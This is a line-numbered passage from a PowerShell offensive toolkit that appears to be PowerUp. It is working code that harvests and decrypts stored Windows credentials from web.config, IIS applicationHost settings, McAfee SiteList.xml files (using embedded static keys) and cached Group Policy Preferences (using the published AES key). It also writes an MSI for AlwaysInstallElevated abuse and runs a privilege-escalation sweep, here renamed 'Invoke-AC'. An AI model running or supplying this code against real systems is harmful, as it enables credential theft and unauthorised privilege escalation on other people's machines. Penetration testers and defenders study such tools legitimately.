3106 Remove-Item $WebConfigPath
3107 }
3108
3109 # Copy web.config from vdir to user temp for decryption
3110 Copy-Item $CurrentPath $WebConfigPath
3111
3112 # Decrypt web.config in user temp
3113 $AspnetRegiisCmd = $AspnetRegiisPath.fullname+' -pdf "connectionStrings" (get-item $Env:temp).FullName'
3114 $Null = Invoke-Expression $AspnetRegiisCmd
3115
3116 # Read the data from the web.config in temp
3117 [xml]$TMPConfigFile = Get-Content $WebConfigPath
3118
3119 # Check if the connectionStrings are still encrypted
3120 if ($TMPConfigFile.configuration.connectionStrings.add) {
3121
3122 # Foreach connection string add to data table
3123 $TMPConfigFile.configuration.connectionStrings.add | ForEach-Object {
3124
3125 [String]$MyConString = $_.connectionString
3126 if($MyConString -like "*password*") {
3127 $ConfUser = $MyConString.Split("=")[3].Split(";")[0]
3128 $ConfPass = $MyConString.Split("=")[4].Split(";")[0]
3129 $ConfServ = $MyConString.Split("=")[1].Split(";")[0]
3130 $ConfVdir = $CurrentVdir
3131 $ConfPath = $CurrentPath
3132 $ConfEnc = 'Yes'
3133 $Null = $DataTable.Rows.Add($ConfUser, $ConfPass, $ConfServ,$ConfVdir,$CurrentPath, $ConfEnc)
3134 }
3135 }
3136
3137 }
3138 else {
3139 Write-Verbose "Decryption of $CurrentPath failed."
3140 $False
3141 }
3142 }
3143 else {
3144 Write-Verbose 'aspnet_regiis.exe does not exist in the default location.'
3145 $False
3146 }
3147 }
3148 }
3149 }
3150
3151 # Check if any connection strings were found
3152 if( $DataTable.rows.Count -gt 0 ) {
3153 # Display results in list view that can feed into the pipeline
3154 $DataTable | Sort-Object user,pass,dbserv,vdir,path,encr | Select-Object user,pass,dbserv,vdir,path,encr -Unique
3155 }
3156 else {
3157 Write-Verbose 'No connection strings found.'
3158 $False
3159 }
3160 }
3161 else {
3162 Write-Verbose 'Appcmd.exe does not exist in the default location.'
3163 $False
3164 }
3165
3166 $ErrorActionPreference = $OrigError
3167}
3168
3169
3170function Get-ApplicationHost {
3171 <#
3172 .SYNOPSIS
3173
3174 This script will recover encrypted application pool and virtual directory passwords from the applicationHost.config on the system.
3175
3176 .DESCRIPTION
3177
3178 This script will decrypt and recover application pool and virtual directory passwords
3179 from the applicationHost.config file on the system. The output supports the
3180 pipeline which can be used to convert all of the results into a pretty table by piping
3181 to format-table.
3182
3183 .EXAMPLE
3184
3185 Return application pool and virtual directory passwords from the applicationHost.config on the system.
3186
3187 PS C:\> Get-ApplicationHost
3188 user : PoolUser1
3189 pass : PoolParty1!
3190 type : Application Pool
3191 vdir : NA
3192 apppool : ApplicationPool1
3193 user : PoolUser2
3194 pass : PoolParty2!
3195 type : Application Pool
3196 vdir : NA
3197 apppool : ApplicationPool2
3198 user : VdirUser1
3199 pass : VdirPassword1!
3200 type : Virtual Directory
3201 vdir : site1/vdir1/
3202 apppool : NA
3203 user : VdirUser2
3204 pass : VdirPassword2!
3205 type : Virtual Directory
3206 vdir : site2/
3207 apppool : NA
3208
3209 .EXAMPLE
3210
3211 Return a list of cleartext and decrypted connect strings from web.config files.
3212
3213 PS C:\> Get-ApplicationHost | Format-Table -Autosize
3214
3215 user pass type vdir apppool
3216 ---- ---- ---- ---- -------
3217 PoolUser1 PoolParty1! Application Pool NA ApplicationPool1
3218 PoolUser2 PoolParty2! Application Pool NA ApplicationPool2
3219 VdirUser1 VdirPassword1! Virtual Directory site1/vdir1/ NA
3220 VdirUser2 VdirPassword2! Virtual Directory site2/ NA
3221
3222 .LINK
3223
3224 https://github.com/darkoperator/Posh-SecMod/blob/master/PostExploitation/PostExploitation.psm1
3225 http://www.netspi.com
3226 http://www.iis.net/learn/get-started/getting-started-with-iis/getting-started-with-appcmdexe
3227 http://msdn.microsoft.com/en-us/library/k6h9cz8h(v=vs.80).aspx
3228
3229 .NOTES
3230
3231 Author: Scott Sutherland - 2014, NetSPI
3232 Version: Get-ApplicationHost v1.0
3233 Comments: Should work on IIS 6 and Above
3234#>
3235
3236 $OrigError = $ErrorActionPreference
3237 $ErrorActionPreference = "SilentlyContinue"
3238
3239 # Check if appcmd.exe exists
3240 if (Test-Path ("$Env:SystemRoot\System32\inetsrv\appcmd.exe")) {
3241 # Create data table to house results
3242 $DataTable = New-Object System.Data.DataTable
3243
3244 # Create and name columns in the data table
3245 $Null = $DataTable.Columns.Add("user")
3246 $Null = $DataTable.Columns.Add("pass")
3247 $Null = $DataTable.Columns.Add("type")
3248 $Null = $DataTable.Columns.Add("vdir")
3249 $Null = $DataTable.Columns.Add("apppool")
3250
3251 # Get list of application pools
3252 Invoke-Expression "$Env:SystemRoot\System32\inetsrv\appcmd.exe list apppools /text:name" | ForEach-Object {
3253
3254 # Get application pool name
3255 $PoolName = $_
3256
3257 # Get username
3258 $PoolUserCmd = "$Env:SystemRoot\System32\inetsrv\appcmd.exe list apppool " + "`"$PoolName`" /text:processmodel.username"
3259 $PoolUser = Invoke-Expression $PoolUserCmd
3260
3261 # Get password
3262 $PoolPasswordCmd = "$Env:SystemRoot\System32\inetsrv\appcmd.exe list apppool " + "`"$PoolName`" /text:processmodel.password"
3263 $PoolPassword = Invoke-Expression $PoolPasswordCmd
3264
3265 # Check if credentials exists
3266 if (($PoolPassword -ne "") -and ($PoolPassword -isnot [system.array])) {
3267 # Add credentials to database
3268 $Null = $DataTable.Rows.Add($PoolUser, $PoolPassword,'Application Pool','NA',$PoolName)
3269 }
3270 }
3271
3272 # Get list of virtual directories
3273 Invoke-Expression "$Env:SystemRoot\System32\inetsrv\appcmd.exe list vdir /text:vdir.name" | ForEach-Object {
3274
3275 # Get Virtual Directory Name
3276 $VdirName = $_
3277
3278 # Get username
3279 $VdirUserCmd = "$Env:SystemRoot\System32\inetsrv\appcmd.exe list vdir " + "`"$VdirName`" /text:userName"
3280 $VdirUser = Invoke-Expression $VdirUserCmd
3281
3282 # Get password
3283 $VdirPasswordCmd = "$Env:SystemRoot\System32\inetsrv\appcmd.exe list vdir " + "`"$VdirName`" /text:password"
3284 $VdirPassword = Invoke-Expression $VdirPasswordCmd
3285
3286 # Check if credentials exists
3287 if (($VdirPassword -ne "") -and ($VdirPassword -isnot [system.array])) {
3288 # Add credentials to database
3289 $Null = $DataTable.Rows.Add($VdirUser, $VdirPassword,'Virtual Directory',$VdirName,'NA')
3290 }
3291 }
3292
3293 # Check if any passwords were found
3294 if( $DataTable.rows.Count -gt 0 ) {
3295 # Display results in list view that can feed into the pipeline
3296 $DataTable | Sort-Object type,user,pass,vdir,apppool | Select-Object user,pass,type,vdir,apppool -Unique
3297 }
3298 else {
3299 # Status user
3300 Write-Verbose 'No application pool or virtual directory passwords were found.'
3301 $False
3302 }
3303 }
3304 else {
3305 Write-Verbose 'Appcmd.exe does not exist in the default location.'
3306 $False
3307 }
3308
3309 $ErrorActionPreference = $OrigError
3310}
3311
3312
3313function Get-SiteListPassword {
3314<#
3315 .SYNOPSIS
3316
3317 Retrieves the plaintext passwords for found McAfee's SiteList.xml files.
3318 Based on Jerome Nokin (@funoverip)'s Python solution (in links).
3319
3320 PowerSploit Function: Get-SiteListPassword
3321 Original Author: Jerome Nokin (@funoverip)
3322 PowerShell Port: @harmj0y
3323 License: BSD 3-Clause
3324 Required Dependencies: None
3325 Optional Dependencies: None
3326
3327 .DESCRIPTION
3328
3329 Searches for any McAfee SiteList.xml in C:\Program Files\, C:\Program Files (x86)\,
3330 C:\Documents and Settings\, or C:\Users\. For any files found, the appropriate
3331 credential fields are extracted and decrypted using the internal Get-DecryptedSitelistPassword
3332 function that takes advantage of McAfee's static key encryption. Any decrypted credentials
3333 are output in custom objects. See links for more information.
3334
3335 .PARAMETER Path
3336
3337 Optional path to a SiteList.xml file or folder.
3338
3339 .EXAMPLE
3340
3341 PS C:\> Get-SiteListPassword
3342
3343 EncPassword : jWbTyS7BL1Hj7PkO5Di/QhhYmcGj5cOoZ2OkDTrFXsR/abAFPM9B3Q==
3344 UserName :
3345 Path : Products/CommonUpdater
3346 Name : McAfeeHttp
3347 DecPassword : MyStrongPassword!
3348 Enabled : 1
3349 DomainName :
3350 Server : update.nai.com:80
3351
3352 EncPassword : jWbTyS7BL1Hj7PkO5Di/QhhYmcGj5cOoZ2OkDTrFXsR/abAFPM9B3Q==
3353 UserName : McAfeeService
3354 Path : Repository$
3355 Name : Paris
3356 DecPassword : MyStrongPassword!
3357 Enabled : 1
3358 DomainName : companydomain
3359 Server : paris001
3360
3361 EncPassword : jWbTyS7BL1Hj7PkO5Di/QhhYmcGj5cOoZ2OkDTrFXsR/abAFPM9B3Q==
3362 UserName : McAfeeService
3363 Path : Repository$
3364 Name : Tokyo
3365 DecPassword : MyStrongPassword!
3366 Enabled : 1
3367 DomainName : companydomain
3368 Server : tokyo000
3369
3370 .LINK
3371
3372 https://github.com/funoverip/mcafee-sitelist-pwd-decryption/
3373 https://funoverip.net/2016/02/mcafee-sitelist-xml-password-decryption/
3374 https://github.com/tfairane/HackStory/blob/master/McAfeePrivesc.md
3375 https://www.syss.de/fileadmin/dokumente/Publikationen/2011/SySS_2011_Deeg_Privilege_Escalation_via_Antivirus_Software.pdf
3376#>
3377
3378 [CmdletBinding()]
3379 param(
3380 [Parameter(Position=0, ValueFromPipeline=$True)]
3381 [ValidateScript({Test-Path -Path $_ })]
3382 [String[]]
3383 $Path
3384 )
3385
3386 BEGIN {
3387 function Local:Get-DecryptedSitelistPassword {
3388 # PowerShell adaptation of https://github.com/funoverip/mcafee-sitelist-pwd-decryption/
3389 # Original Author: Jerome Nokin (@funoverip / jerome.nokin@gmail.com)
3390 # port by @harmj0y
3391 [CmdletBinding()]
3392 Param (
3393 [Parameter(Mandatory=$True)]
3394 [String]
3395 $B64Pass
3396 )
3397
3398 # make sure the appropriate assemblies are loaded
3399 Add-Type -Assembly System.Security
3400 Add-Type -Assembly System.Core
3401
3402 # declare the encoding/crypto providers we need
3403 $Encoding = [System.Text.Encoding]::ASCII
3404 $SHA1 = New-Object System.Security.Cryptography.SHA1CryptoServiceProvider
3405 $3DES = New-Object System.Security.Cryptography.TripleDESCryptoServiceProvider
3406
3407 # static McAfee key XOR key LOL
3408 $XORKey = 0x12,0x15,0x0F,0x10,0x11,0x1C,0x1A,0x06,0x0A,0x1F,0x1B,0x18,0x17,0x16,0x05,0x19
3409
3410 # xor the input b64 string with the static XOR key
3411 $I = 0;
3412 $UnXored = [System.Convert]::FromBase64String($B64Pass) | Foreach-Object { $_ -BXor $XORKey[$I++ % $XORKey.Length] }
3413
3414 # build the static McAfee 3DES key TROLOL
3415 $3DESKey = $SHA1.ComputeHash($Encoding.GetBytes('<!@#$%^>')) + ,0x00*4
3416
3417 # set the options we need
3418 $3DES.Mode = 'ECB'
3419 $3DES.Padding = 'None'
3420 $3DES.Key = $3DESKey
3421
3422 # decrypt the unXor'ed block
3423 $Decrypted = $3DES.CreateDecryptor().TransformFinalBlock($UnXored, 0, $UnXored.Length)
3424
3425 # ignore the padding for the result
3426 $Index = [Array]::IndexOf($Decrypted, [Byte]0)
3427 if($Index -ne -1) {
3428 $DecryptedPass = $Encoding.GetString($Decrypted[0..($Index-1)])
3429 }
3430 else {
3431 $DecryptedPass = $Encoding.GetString($Decrypted)
3432 }
3433
3434 New-Object -TypeName PSObject -Property @{'Encrypted'=$B64Pass;'Decrypted'=$DecryptedPass}
3435 }
3436
3437 function Local:Get-SitelistFields {
3438 [CmdletBinding()]
3439 Param (
3440 [Parameter(Mandatory=$True)]
3441 [String]
3442 $Path
3443 )
3444
3445 try {
3446 [Xml]$SiteListXml = Get-Content -Path $Path
3447
3448 if($SiteListXml.InnerXml -Like "*password*") {
3449 Write-Verbose "Potential password in found in $Path"
3450
3451 $SiteListXml.SiteLists.SiteList.ChildNodes | Foreach-Object {
3452 try {
3453 $PasswordRaw = $_.Password.'#Text'
3454
3455 if($_.Password.Encrypted -eq 1) {
3456 # decrypt the base64 password if it's marked as encrypted
3457 $DecPassword = if($PasswordRaw) { (Get-DecryptedSitelistPassword -B64Pass $PasswordRaw).Decrypted } else {''}
3458 }
3459 else {
3460 $DecPassword = $PasswordRaw
3461 }
3462
3463 $Server = if($_.ServerIP) { $_.ServerIP } else { $_.Server }
3464 $Path = if($_.ShareName) { $_.ShareName } else { $_.RelativePath }
3465
3466 $ObjectProperties = @{
3467 'Name' = $_.Name;
3468 'Enabled' = $_.Enabled;
3469 'Server' = $Server;
3470 'Path' = $Path;
3471 'DomainName' = $_.DomainName;
3472 'UserName' = $_.UserName;
3473 'EncPassword' = $PasswordRaw;
3474 'DecPassword' = $DecPassword;
3475 }
3476 New-Object -TypeName PSObject -Property $ObjectProperties
3477 }
3478 catch {
3479 Write-Verbose "Error parsing node : $_"
3480 }
3481 }
3482 }
3483 }
3484 catch {
3485 Write-Warning "Error parsing file '$Path' : $_"
3486 }
3487 }
3488 }
3489
3490 PROCESS {
3491 if($PSBoundParameters['Path']) {
3492 $XmlFilePaths = $Path
3493 }
3494 else {
3495 $XmlFilePaths = @('C:\Program Files\','C:\Program Files (x86)\','C:\Documents and Settings\','C:\Users\')
3496 }
3497
3498 $XmlFilePaths | Foreach-Object { Get-ChildItem -Path $_ -Recurse -Include 'SiteList.xml' -ErrorAction SilentlyContinue } | Where-Object { $_ } | Foreach-Object {
3499 Write-Verbose "Parsing SiteList.xml file '$($_.Fullname)'"
3500 Get-SitelistFields -Path $_.Fullname
3501 }
3502 }
3503}
3504
3505
3506function Get-CachedGPPPassword {
3507<#
3508 .SYNOPSIS
3509
3510 Retrieves the plaintext password and other information for accounts pushed through Group Policy Preferences and left in cached files on the host.
3511
3512 PowerSploit Function: Get-CachedGPPPassword
3513 Author: Chris Campbell (@obscuresec), local cache mods by @harmj0y
3514 License: BSD 3-Clause
3515 Required Dependencies: None
3516 Optional Dependencies: None
3517
3518 .DESCRIPTION
3519
3520 Get-CachedGPPPassword searches the local machine for cached for groups.xml, scheduledtasks.xml, services.xml and datasources.xml files and returns plaintext passwords.
3521
3522 .EXAMPLE
3523
3524 PS C:\> Get-CachedGPPPassword
3525
3526
3527 NewName : [BLANK]
3528 Changed : {2013-04-25 18:36:07}
3529 Passwords : {Super!!!Password}
3530 UserNames : {SuperSecretBackdoor}
3531 File : C:\ProgramData\Microsoft\Group Policy\History\{32C4C89F-7
3532 C3A-4227-A61D-8EF72B5B9E42}\Machine\Preferences\Groups\Gr
3533 oups.xml
3534
3535 .LINK
3536
3537 http://www.obscuresecurity.blogspot.com/2012/05/gpp-password-retrieval-with-powershell.html
3538 https://github.com/mattifestation/PowerSploit/blob/master/Recon/Get-GPPPassword.ps1
3539 https://github.com/rapid7/metasploit-framework/blob/master/modules/post/windows/gather/credentials/gpp.rb
3540 http://esec-pentest.sogeti.com/exploiting-windows-2008-group-policy-preferences
3541 http://rewtdance.blogspot.com/2012/06/exploiting-windows-2008-group-policy.html
3542#>
3543
3544 [CmdletBinding()]
3545 Param()
3546
3547 # Some XML issues between versions
3548 Set-StrictMode -Version 2
3549
3550 # make sure the appropriate assemblies are loaded
3551 Add-Type -Assembly System.Security
3552 Add-Type -Assembly System.Core
3553
3554 # helper that decodes and decrypts password
3555 function local:Get-DecryptedCpassword {
3556 [CmdletBinding()]
3557 Param (
3558 [string] $Cpassword
3559 )
3560
3561 try {
3562 # Append appropriate padding based on string length
3563 $Mod = ($Cpassword.length % 4)
3564
3565 switch ($Mod) {
3566 '1' {$Cpassword = $Cpassword.Substring(0,$Cpassword.Length -1)}
3567 '2' {$Cpassword += ('=' * (4 - $Mod))}
3568 '3' {$Cpassword += ('=' * (4 - $Mod))}
3569 }
3570
3571 $Base64Decoded = [Convert]::FromBase64String($Cpassword)
3572
3573 # Create a new AES .NET Crypto Object
3574 $AesObject = New-Object System.Security.Cryptography.AesCryptoServiceProvider
3575 [Byte[]] $AesKey = @(0x4e,0x99,0x06,0xe8,0xfc,0xb6,0x6c,0xc9,0xfa,0xf4,0x93,0x10,0x62,0x0f,0xfe,0xe8,
3576 0xf4,0x96,0xe8,0x06,0xcc,0x05,0x79,0x90,0x20,0x9b,0x09,0xa4,0x33,0xb6,0x6c,0x1b)
3577
3578 # Set IV to all nulls to prevent dynamic generation of IV value
3579 $AesIV = New-Object Byte[]($AesObject.IV.Length)
3580 $AesObject.IV = $AesIV
3581 $AesObject.Key = $AesKey
3582 $DecryptorObject = $AesObject.CreateDecryptor()
3583 [Byte[]] $OutBlock = $DecryptorObject.TransformFinalBlock($Base64Decoded, 0, $Base64Decoded.length)
3584
3585 return [System.Text.UnicodeEncoding]::Unicode.GetString($OutBlock)
3586 }
3587
3588 catch {Write-Error $Error[0]}
3589 }
3590
3591 # helper that parses fields from the found xml preference files
3592 function local:Get-GPPInnerFields {
3593 [CmdletBinding()]
3594 Param (
3595 $File
3596 )
3597
3598 try {
3599
3600 $Filename = Split-Path $File -Leaf
3601 [XML] $Xml = Get-Content ($File)
3602
3603 $Cpassword = @()
3604 $UserName = @()
3605 $NewName = @()
3606 $Changed = @()
3607 $Password = @()
3608
3609 # check for password field
3610 if ($Xml.innerxml -like "*cpassword*"){
3611
3612 Write-Verbose "Potential password in $File"
3613
3614 switch ($Filename) {
3615 'Groups.xml' {
3616 $Cpassword += , $Xml | Select-Xml "/Groups/User/Properties/@cpassword" | Select-Object -Expand Node | ForEach-Object {$_.Value}
3617 $UserName += , $Xml | Select-Xml "/Groups/User/Properties/@userName" | Select-Object -Expand Node | ForEach-Object {$_.Value}
3618 $NewName += , $Xml | Select-Xml "/Groups/User/Properties/@newName" | Select-Object -Expand Node | ForEach-Object {$_.Value}
3619 $Changed += , $Xml | Select-Xml "/Groups/User/@changed" | Select-Object -Expand Node | ForEach-Object {$_.Value}
3620 }
3621
3622 'Services.xml' {
3623 $Cpassword += , $Xml | Select-Xml "/NTServices/NTService/Properties/@cpassword" | Select-Object -Expand Node | ForEach-Object {$_.Value}
3624 $UserName += , $Xml | Select-Xml "/NTServices/NTService/Properties/@accountName" | Select-Object -Expand Node | ForEach-Object {$_.Value}
3625 $Changed += , $Xml | Select-Xml "/NTServices/NTService/@changed" | Select-Object -Expand Node | ForEach-Object {$_.Value}
3626 }
3627
3628 'Scheduledtasks.xml' {
3629 $Cpassword += , $Xml | Select-Xml "/ScheduledTasks/Task/Properties/@cpassword" | Select-Object -Expand Node | ForEach-Object {$_.Value}
3630 $UserName += , $Xml | Select-Xml "/ScheduledTasks/Task/Properties/@runAs" | Select-Object -Expand Node | ForEach-Object {$_.Value}
3631 $Changed += , $Xml | Select-Xml "/ScheduledTasks/Task/@changed" | Select-Object -Expand Node | ForEach-Object {$_.Value}
3632 }
3633
3634 'DataSources.xml' {
3635 $Cpassword += , $Xml | Select-Xml "/DataSources/DataSource/Properties/@cpassword" | Select-Object -Expand Node | ForEach-Object {$_.Value}
3636 $UserName += , $Xml | Select-Xml "/DataSources/DataSource/Properties/@username" | Select-Object -Expand Node | ForEach-Object {$_.Value}
3637 $Changed += , $Xml | Select-Xml "/DataSources/DataSource/@changed" | Select-Object -Expand Node | ForEach-Object {$_.Value}
3638 }
3639
3640 'Printers.xml' {
3641 $Cpassword += , $Xml | Select-Xml "/Printers/SharedPrinter/Properties/@cpassword" | Select-Object -Expand Node | ForEach-Object {$_.Value}
3642 $UserName += , $Xml | Select-Xml "/Printers/SharedPrinter/Properties/@username" | Select-Object -Expand Node | ForEach-Object {$_.Value}
3643 $Changed += , $Xml | Select-Xml "/Printers/SharedPrinter/@changed" | Select-Object -Expand Node | ForEach-Object {$_.Value}
3644 }
3645
3646 'Drives.xml' {
3647 $Cpassword += , $Xml | Select-Xml "/Drives/Drive/Properties/@cpassword" | Select-Object -Expand Node | ForEach-Object {$_.Value}
3648 $UserName += , $Xml | Select-Xml "/Drives/Drive/Properties/@username" | Select-Object -Expand Node | ForEach-Object {$_.Value}
3649 $Changed += , $Xml | Select-Xml "/Drives/Drive/@changed" | Select-Object -Expand Node | ForEach-Object {$_.Value}
3650 }
3651 }
3652 }
3653
3654 foreach ($Pass in $Cpassword) {
3655 Write-Verbose "Decrypting $Pass"
3656 $DecryptedPassword = Get-DecryptedCpassword $Pass
3657 Write-Verbose "Decrypted a password of $DecryptedPassword"
3658 #append any new passwords to array
3659 $Password += , $DecryptedPassword
3660 }
3661
3662 # put [BLANK] in variables
3663 if (-not $Password) {$Password = '[BLANK]'}
3664 if (-not $UserName) {$UserName = '[BLANK]'}
3665 if (-not $Changed) {$Changed = '[BLANK]'}
3666 if (-not $NewName) {$NewName = '[BLANK]'}
3667
3668 # Create custom object to output results
3669 $ObjectProperties = @{'Passwords' = $Password;
3670 'UserNames' = $UserName;
3671 'Changed' = $Changed;
3672 'NewName' = $NewName;
3673 'File' = $File}
3674
3675 $ResultsObject = New-Object -TypeName PSObject -Property $ObjectProperties
3676 Write-Verbose "The password is between {} and may be more than one value."
3677 if ($ResultsObject) {Return $ResultsObject}
3678 }
3679
3680 catch {Write-Error $Error[0]}
3681 }
3682
3683 try {
3684 $AllUsers = $Env:ALLUSERSPROFILE
3685
3686 if($AllUsers -notmatch 'ProgramData') {
3687 $AllUsers = "$AllUsers\Application Data"
3688 }
3689
3690 # discover any locally cached GPP .xml files
3691 $XMlFiles = Get-ChildItem -Path $AllUsers -Recurse -Include 'Groups.xml','Services.xml','Scheduledtasks.xml','DataSources.xml','Printers.xml','Drives.xml' -Force -ErrorAction SilentlyContinue
3692
3693 if ( -not $XMlFiles ) {
3694 Write-Verbose 'No preference files found.'
3695 }
3696 else {
3697 Write-Verbose "Found $($XMLFiles | Measure-Object | Select-Object -ExpandProperty Count) files that could contain passwords."
3698
3699 ForEach ($File in $XMLFiles) {
3700 Get-GppInnerFields $File.Fullname
3701 }
3702 }
3703 }
3704
3705 catch {Write-Error $Error[0]}
3706}
3707
3708
3709function Write-UserAddMSI {
3710<#
3711 .SYNOPSIS
3712
3713 Writes out a precompiled MSI installer that prompts for a user/group addition.
3714 This function can be used to abuse Get-RegistryAlwaysInstallElevated.
3715
3716 .EXAMPLE
3717
3718 PS C:\> Write-UserAddMSI
3719
3720 Writes the user add MSI to the local directory.
3721#>
3722
3723 $Path = 'UserAdd.msi'
3724 try {
3725 [System.Convert]::FromBase64String( $Binary ) | Set-Content -Path $Path -Encoding Byte
3726 Write-Verbose "MSI written out to '$Path'"
3727
3728 $Out = New-Object PSObject
3729 $Out | Add-Member Noteproperty 'OutputPath' $Path
3730 $Out
3731 }
3732 catch {
3733 Write-Warning "Error while writing to location '$Path': $_"
3734 $Out = New-Object PSObject
3735 $Out | Add-Member Noteproperty 'OutputPath' $_
3736 $Out
3737 }
3738}
3739
3740
3741function Invoke-AC{
3742<#
3743 .SYNOPSIS
3744
3745 Runs all functions that check for various Windows privilege escalation opportunities.
3746
3747 Author: @harmj0y
3748 License: BSD 3-Clause
3749
3750 .PARAMETER HTMLReport
3751
3752 Switch. Write a HTML version of the report to SYSTEM.username.html.
3753
3754 .EXAMPLE
3755
3756 PS C:\> Invoke-AC
3757
3758 Runs all escalation checks and outputs a status report for discovered issues.
3759
3760 .EXAMPLE
3761
3762 PS C:\> Invoke-AC -HTMLReport
3763
3764 Runs all escalation checks and outputs a status report to SYSTEM.username.html
3765 detailing any discovered issues.
3766#>
3767
3768 [CmdletBinding()]
3769 Param(
3770 [Switch]
3771 $HTMLReport
3772 )
3773
3774 if($HTMLReport) {
3775 $HtmlReportFile = "$($Env:ComputerName).$($Env:UserName).html"
3776
3777 $Header = "<style>"
3778 $Header = $Header + "BODY{background-color:peachpuff;}"
3779 $Header = $Header + "TABLE{border-width: 1px;border-style: solid;border-color: black;border-collapse: collapse;}"
3780 $Header = $Header + "TH{border-width: 1px;padding: 0px;border-style: solid;border-color: black;background-color:thistle}"
3781 $Header = $Header + "TD{border-width: 3px;padding: 0px;border-style: solid;border-color: black;background-color:palegoldenrod}"
3782 $Header = $Header + "</style>"
3783
3784 ConvertTo-HTML -Head $Header -Body "<H1>PowerUp report for '$($Env:ComputerName).$($Env:UserName)'</H1>" | Out-File $HtmlReportFile
3785 }
3786
3787 # initial admin checks
3788
3789 "`n[*] Running Invoke-AllChecks"
3790
3791 $IsAdmin = ([Security.Principal.WindowsPrincipal] [Security.Principal.WindowsIdentity]::GetCurrent()).IsInRole([Security.Principal.WindowsBuiltInRole] "Administrator")
3792
3793 if($IsAdmin){
3794 "[+] Current user already has local administrative privileges!"
3795
3796 if($HTMLReport) {
3797 ConvertTo-HTML -Head $Header -Body "<H2>User Has Local Admin Privileges!</H2>" | Out-File -Append $HtmlReportFile
3798 }
3799 }
3800 else{
3801 "`n`n[*] Checking if user is in a local group with administrative privileges..."
3802
3803 $CurrentUserSids = Get-CurrentUserTokenGroupSid | Select-Object -ExpandProperty SID
3804 if($CurrentUserSids -contains 'S-1-5-32-544') {
3805 "[+] User is in a local group that grants administrative privileges!"
3806 "[+] Run a BypassUAC attack to elevate privileges to admin."
3807
3808 if($HTMLReport) {
3809 ConvertTo-HTML -Head $Header -Body "<H2> User In Local Group With Administrative Privileges</H2>" | Out-File -Append $HtmlReportFile
3810 }
3811 }
3812 }
3813
3814
3815 # Service checks
3816
3817 "`n`n[*] Checking for unquoted service paths..."
3818 $Results = Get-ServiceUnquoted
3819 $Results | Format-List
3820 if($HTMLReport) {
3821 $Results | ConvertTo-HTML -Head $Header -Body "<H2>Unquoted Service Paths</H2>" | Out-File -Append $HtmlReportFile
3822 }
3823
3824 "`n`n[*] Checking service executable and argument permissions..."
3825 $Results = Get-ModifiableServiceFile
3826 $Results | Format-List
3827 if($HTMLReport) {
3828 $Results | ConvertTo-HTML -Head $Header -Body "<H2>Service File Permissions</H2>" | Out-File -Append $HtmlReportFile
3829 }
3830
3831 "`n`n[*] Checking service permissions..."
3832 $Results = Get-ModifiableService
3833 $Results | Format-List
3834 if($HTMLReport) {
3835 $Results | ConvertTo-HTML -Head $Header -Body "<H2>Modifiable Services</H2>" | Out-File -Append $HtmlReportFile
3836 }
3837
3838
3839 # DLL hijacking
3840
3841 "`n`n[*] Checking %PATH% for potentially hijackable DLL locations..."
3842 $Results = Find-PathDLLHijack
3843 $Results | Where-Object {$_} | Foreach-Object {
3844 $AbuseString = "Write-HijackDll -DllPath '$($_.ModifiablePath)\wlbsctrl.dll'"
3845 $_ | Add-Member Noteproperty 'AbuseFunction' $AbuseString
3846 $_
3847 } | Format-List
3848 if($HTMLReport) {
3849 $Results | ConvertTo-HTML -Head $Header -Body "<H2>%PATH% .dll Hijacks</H2>" | Out-File -Append $HtmlReportFile
3850 }
3851
3852
3853 # registry checks
3854
3855 "`n`n[*] Checking for AlwaysInstallElevated registry key..."
3856 if (Get-RegistryAlwaysInstallElevated) {
3857 $Out = New-Object PSObject
3858 $Out | Add-Member Noteproperty 'AbuseFunction' "Write-UserAddMSI"
3859 $Results = $Out
3860
3861 $Results | Format-List
3862 if($HTMLReport) {
3863 $Results | ConvertTo-HTML -Head $Header -Body "<H2>AlwaysInstallElevated</H2>" | Out-File -Append $HtmlReportFile
3864 }
3865 }
3866
3867 "`n`n[*] Checking for Autologon credentials in registry..."
3868 $Results = Get-RegistryAutoLogon
3869 $Results | Format-List
3870 if($HTMLReport) {
3871 $Results | ConvertTo-HTML -Head $Header -Body "<H2>Registry Autologons</H2>" | Out-File -Append $HtmlReportFile
3872 }
3873
3874
3875 "`n`n[*] Checking for modifidable registry autoruns and configs..."
3876 $Results = Get-ModifiableRegistryAutoRun
3877 $Results | Format-List
3878 if($HTMLReport) {
3879 $Results | ConvertTo-HTML -Head $Header -Body "<H2>Registry Autoruns</H2>" | Out-File -Append $HtmlReportFile
3880 }
3881
3882 # other checks
3883
3884 "`n`n[*] Checking for modifiable schtask files/configs..."
3885 $Results = Get-ModifiableScheduledTaskFile
3886 $Results | Format-List
3887 if($HTMLReport) {
3888 $Results | ConvertTo-HTML -Head $Header -Body "<H2>Modifidable Schask Files</H2>" | Out-File -Append $HtmlReportFile
3889 }
3890
3891 "`n`n[*] Checking for unattended install files..."
3892 $Results = Get-UnattendedInstallFile
3893 $Results | Format-List
3894 if($HTMLReport) {
3895 $Results | ConvertTo-HTML -Head $Header -Body "<H2>Unattended Install Files</H2>" | Out-File -Append $HtmlReportFile
3896 }
3897
3898 "`n`n[*] Checking for encrypted web.config strings..."
3899 $Results = Get-Webconfig | Where-Object {$_}
3900 $Results | Format-List
3901 if($HTMLReport) {
3902 $Results | ConvertTo-HTML -Head $Header -Body "<H2>Encrypted 'web.config' String</H2>" | Out-File -Append $HtmlReportFile
3903 }
3904
3905 "`n`n[*] Checking for encrypted application pool and virtual directory passwords..."
3906 $Results = Get-ApplicationHost | Where-Object {$_}
3907 $Results | Format-List
3908 if($HTMLReport) {
3909 $Results | ConvertTo-HTML -Head $Header -Body "<H2>Encrypted Application Pool Passwords</H2>" | Out-File -Append $HtmlReportFile
3910 }
3911
3912 "`n`n[*] Checking for plaintext passwords in McAfee SiteList.xml files...."
3913 $Results = Get-SiteListPassword | Where-Object {$_}
3914 $Results | Format-List
3915 if($HTMLReport) {
3916 $Results | ConvertTo-HTML -Head $Header -Body "<H2>McAfee's SiteList.xml's</H2>" | Out-File -Append $HtmlReportFile
3917 }
3918 "`n"
3919
3920 "`n`n[*] Checking for cached Group Policy Preferences .xml files...."
3921 $Results = Get-CachedGPPPassword | Where-Object {$_}
3922 $Results | Format-List
3923 if($HTMLReport) {
3924 $Results | ConvertTo-HTML -Head $Header -Body "<H2>Cached GPP Files</H2>" | Out-File -Append $HtmlReportFile
3925 }
3926 "`n"
3927
3928 if($HTMLReport) {
3929 "[*] Report written to '$HtmlReportFile' `n"
3930 }
3931}
3932
3933
3934# PSReflect signature specifications
3935$Module = New-InMemoryModule -ModuleName PowerUpModule
3936
3937$FunctionDefinitions = @(
3938 (func kernel32 GetCurrentProcess ([IntPtr]) @())
